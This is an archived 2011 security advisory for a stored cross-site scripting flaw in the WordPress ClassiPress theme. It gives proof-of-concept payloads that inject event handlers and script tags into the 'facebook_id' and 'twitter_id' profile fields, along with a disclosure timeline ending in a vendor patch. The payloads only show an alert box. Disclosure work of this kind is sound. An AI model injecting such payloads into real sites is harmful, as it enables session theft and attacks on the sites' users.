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WordPress Classipress Theme 3.1.4 Cross Site Scripting

WordPress Classipress Theme 3.1.4 Cross Site Scripting
Posted Oct 30, 2011
Authored by Paul Loftness

WordPress Classipress Theme versions 3.1.4 and below suffer from a stored cross site scripting vulnerability.

tags | exploit, xss
MD5 | 0409fa57d2c45c830e98188edfa93f6c

WordPress Classipress Theme 3.1.4 Cross Site Scripting

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# Exploit Title: WordPress Classipress Theme <= 3.1.4 Stored XSS
# Date: 2011-09-26
# Author: Paul Loftness
# Contact:http://attackvectorlabs.blogspot.com
# Vendor: Appthemes LLc.
# Product Web Page: http://www.appthemes.com/themes/classipress/
# Version: <=3.1.4
# Tested Versions: 3.1.4, 3.0.5.3

Summary:
-------------------------
ClassiPress is a popular and widely used classified ads software for WordPress.

Description:
-------------------------
Classipress is vulnerable to multiple stored XSS vulnerabilities. Input through the POST parameters 'facebook_id' and 'twitter_id' in a registered user's profile page is either not sanitisized or poorly sanitised (version specific) allowing the attacker to insert Javascript code.

In version 3.0.5.2 and presumably all previous versions, no sanitation is in place, allowing an attacker to insert code within a tag or to break out of it. In version 3.1.4, the less-than character is sanitised but an attacker can still insert quotes and place an event handler in the tag.


Proof-of-Concept Code:
-------------------------

Insertion page: http://example_site/author/profile/
Infected page : http://example_site/author/attacker_username/
Note: Some sites replace "author" with another path, this is not a vanilla configuration, however.

Version: ClassiPress 3.0.5.2
Vulnerable Input Parameters:

twitter_id: " onmouseover="alert('XSS');
facebook_id: " onmouseover="alert('XSS');
Alternate Exploit code:
twitter_id: "><script>alert('XSS');</script><div id="
facebook_id: "><script>alert('XSS');</script><div id="


Version: ClassiPress 3.1.4
Vulnerable Input Parameters:

twitter_id: " onmouseover='alert("XSS");'><
facebook_id: " onmouseover='alert("XSS");'><


Timeline:
-------------------------
Vulnerability Discovered: 8/10/2011
Vulnerability Reported to Vendor: 9/1/2011
Patch Released with version 3.1.5: 10/7/2011


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